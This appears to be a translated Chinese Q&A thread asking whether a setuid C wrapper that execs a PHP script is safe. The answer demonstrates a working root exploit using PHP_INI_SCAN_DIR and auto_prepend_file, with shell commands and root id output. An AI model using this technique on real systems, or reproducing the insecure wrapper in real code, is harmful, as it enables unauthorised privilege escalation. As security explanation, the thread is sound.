![以下 setuid 程序是否存在安全风险?](https://linux22.com/image/626121/%E4%BB%A5%E4%B8%8B%20setuid%20%E7%A8%8B%E5%BA%8F%E6%98%AF%E5%90%A6%E5%AD%98%E5%9C%A8%E5%AE%89%E5%85%A8%E9%A3%8E%E9%99%A9%EF%BC%9F.png)
我在 .c 中将以下程序设置为 setuid chmod 仅由所有者读取/执行并将其设置为不可变,就像我将其调用的 php 脚本一样。
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char *argv[] )
{
setuid( 0 );
execv( "/var/tools/control.php", argv );
return 0;
}
这本身就是一种安全风险吗?是否可以通过 argv 或其他一些我没有想到的东西来推送其他命令?我不是在问 php 脚本,只是问这个代理程序。
答案1
是的,这是一个安全风险。
$ cat <<EOF >/tmp/php.ini
auto_prepend_file=/tmp/owned.php
EOF
$ cat <<EOF >/tmp/owned.php
<?php
echo "Owned\n";
pcntl_exec("/usr/bin/sudo", array("sudo", "-i"));
?>
EOF
$ export PHP_INI_SCAN_DIR="/tmp"
$ /path/to/the/setuid/wrapper
Owned
# id
uid=0(root) gid=0(root) groups=0(root) context=staff_u:sysadm_r:sysadm_t:s0-s0:c0.c1023
这就是为什么您应该避免使用 setuid 二进制文件。